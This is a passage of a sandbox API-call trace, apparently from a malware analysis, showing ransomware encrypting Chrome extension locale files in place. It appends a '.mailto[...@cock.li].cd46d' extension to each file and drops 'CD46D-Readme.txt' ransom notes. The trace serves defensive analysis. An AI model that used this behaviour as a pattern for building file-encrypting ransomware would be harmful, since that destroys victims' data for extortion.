(HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5f08 [0196.282] NtQuerySystemTime (in: CurrentTime=0x370fd24 | out: CurrentTime=0x370fd24*=132174899708806000) returned 0x0 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x73f94852 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x9f18511 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x5c7f5011 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x182d50d0 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x6e0e4bbb [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x402bf62f [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x41e79390 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x25cecca6 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x455446b7 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x2ae1e26d [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x78dc882b [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x1ad610b0 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x1ff33c2a [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x6e3ab9d6 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x4b1e5414 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x97bb2c1 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x516dd4a5 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x4abfc57e [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x4d817027 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x7aaf41ac [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0xd947be7 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x328052d5 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x9d2cf9a [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x6988e95a [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0xa7cc741 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x6717e1e1 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x776841c0 [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0xe77932f [0196.282] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x688b8614 [0196.283] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x7e6cad [0196.283] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x48a568ec [0196.283] RtlRandomEx (in: Seed=0x370fd30 | out: Seed=0x370fd30) returned 0x1814b2bd [0196.294] ReadFile (in: hFile=0x584, lpBuffer=0xd49a048, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x370fd20, lpOverlapped=0x0 | out: lpBuffer=0xd49a048*, lpNumberOfBytesRead=0x370fd20*=0x10a, lpOverlapped=0x0) returned 1 [0196.294] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.294] WriteFile (in: hFile=0x584, lpBuffer=0x10e42008*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x370fd1c, lpOverlapped=0x0 | out: lpBuffer=0x10e42008*, lpNumberOfBytesWritten=0x370fd1c*=0x10a, lpOverlapped=0x0) returned 1 [0196.886] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909988 [0196.886] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909578 [0196.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0196.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e42008) returned 1 [0196.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd49a048) returned 1 [0196.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fad58) returned 1 [0196.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9768) returned 1 [0196.886] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f68d0 [0196.887] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.887] WriteFile (in: hFile=0x584, lpBuffer=0x12cf5838*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x370fd84, lpOverlapped=0x0 | out: lpBuffer=0x12cf5838*, lpNumberOfBytesWritten=0x370fd84*=0x10b, lpOverlapped=0x0) returned 1 [0197.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5838) returned 1 [0197.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0197.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0197.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68d0) returned 1 [0197.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0197.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d28) returned 1 [0197.830] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58a0) returned 1 [0197.830] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c59e0) returned 1 [0197.830] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4955d0 [0197.830] wcscpy (in: _Dest=0xd4955d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" [0197.830] wcscat (in: _Dest=0xd4955d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.830] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x370fd3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.830] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9a00 [0197.963] FlushFileBuffers (hFile=0x584) returned 1 [0197.972] CloseHandle (hObject=0x584) returned 1 [0198.037] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b65b8 [0198.037] wcscpy (in: _Dest=0x9b65b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\" [0198.037] wcscat (in: _Dest=0x9b65b8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\CD46D-Readme.txt" [0198.037] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\cd46d-readme.txt")) returned 0xffffffff [0198.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.138] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x370fd44, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x370fd44*=0x6fd, lpOverlapped=0x0) returned 1 [0198.139] CloseHandle (hObject=0x1094) returned 1 [0198.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b65b8) returned 1 [0198.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a4a48) returned 1 Thread: id = 8402 os_tid = 0x185c [0193.400] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json")) returned 0x2020 [0193.400] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json", dwFileAttributes=0x20) returned 1 [0193.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1174 [0193.401] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x15f8f988 | out: lpFileSize=0x15f8f988*=218) returned 1 [0193.401] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.401] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9382e8 [0193.401] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9382c0 [0193.401] NtQuerySystemTime (in: CurrentTime=0x15f8f8e8 | out: CurrentTime=0x15f8f8e8*=132174899679946000) returned 0x0 [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x7d9f151a [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x74482c71 [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x7de97720 [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x21089e2f [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x4cd1dd8c [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x5fd1b967 [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x4749c17e [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x1d21658a [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x7c7889d8 [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x3e066d39 [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x4188040a [0193.401] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0xabfd72d [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x73ace65d [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x25959f72 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x78ba485b [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x6c593b9b [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x3afa873b [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x7239ca32 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x1cf4cc6c [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x7e9919ee [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x7d56ba21 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x5b7ac9ba [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x46497fd [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x4767544b [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x23c5d950 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x5f9d4bf [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x103145c7 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x25d2bcf5 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x2f10fb7f [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x48f45c23 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x12cadb8 [0193.402] RtlRandomEx (in: Seed=0x15f8f8f4 | out: Seed=0x15f8f8f4) returned 0x4cb174d7 [0193.415] ReadFile (hFile=0x1174, lpBuffer=0x12ddf940, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x15f8f8e4, lpOverlapped=0x0) [0193.431] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.431] WriteFile (in: hFile=0x1174, lpBuffer=0x12dec148*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x15f8f8e0, lpOverlapped=0x0 | out: lpBuffer=0x12dec148*, lpNumberOfBytesWritten=0x15f8f8e0*=0xda, lpOverlapped=0x0) returned 1 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095c8 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9099b0 [0195.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9099b0) returned 1 [0195.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dec148) returned 1 [0195.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ddf940) returned 1 [0195.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8a58) returned 1 [0195.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f92e8) returned 1 [0195.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d80 [0195.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8f92e8 [0195.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8a58 [0195.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9099b0 [0195.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9099b0) returned 1 [0195.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6db0 [0195.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9099b0 [0195.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9096e0 [0195.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9096e0) returned 1 [0195.167] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8a58) returned 1 [0195.167] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f92e8) returned 1 [0195.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10b) returned 0x12cf5c98 [0195.167] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.167] WriteFile (in: hFile=0x1174, lpBuffer=0x12cf5c98*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x15f8f948, lpOverlapped=0x0 | out: lpBuffer=0x12cf5c98*, lpNumberOfBytesWritten=0x15f8f948*=0x10b, lpOverlapped=0x0) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5c98) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6db0) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9099b0) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d80) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095c8) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382e8) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938248) returned 1 [0197.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938270) returned 1 [0197.729] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4941e8 [0197.729] wcscpy (in: _Dest=0xd4941e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" [0197.729] wcscat (in: _Dest=0xd4941e8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.730] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15f8f900, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8ed8 [0197.906] FlushFileBuffers (hFile=0x1174) returned 1 [0197.917] CloseHandle (hObject=0x1174) returned 1 [0197.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5e08 [0197.975] wcscpy (in: _Dest=0x9b5e08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\" [0197.975] wcscat (in: _Dest=0x9b5e08, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\CD46D-Readme.txt" [0197.975] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\cd46d-readme.txt")) returned 0xffffffff [0197.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0198.102] WriteFile (in: hFile=0x584, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x15f8f908, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x15f8f908*=0x6fd, lpOverlapped=0x0) returned 1 [0198.103] CloseHandle (hObject=0x584) returned 1 [0198.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5e08) returned 1 [0198.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e1c0) returned 1 Thread: id = 8403 os_tid = 0x1860 [0193.433] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json")) returned 0x2020 [0193.433] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json", dwFileAttributes=0x20) returned 1 [0198.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1418 [0198.453] GetFileSizeEx (in: hFile=0x1418, lpFileSize=0xa6bfa54 | out: lpFileSize=0xa6bfa54*=221) returned 1 [0198.453] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.453] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ca8 [0198.453] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945528 [0198.453] NtQuerySystemTime (in: CurrentTime=0xa6bf9b4 | out: CurrentTime=0xa6bf9b4*=132174899730490000) returned 0x0 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 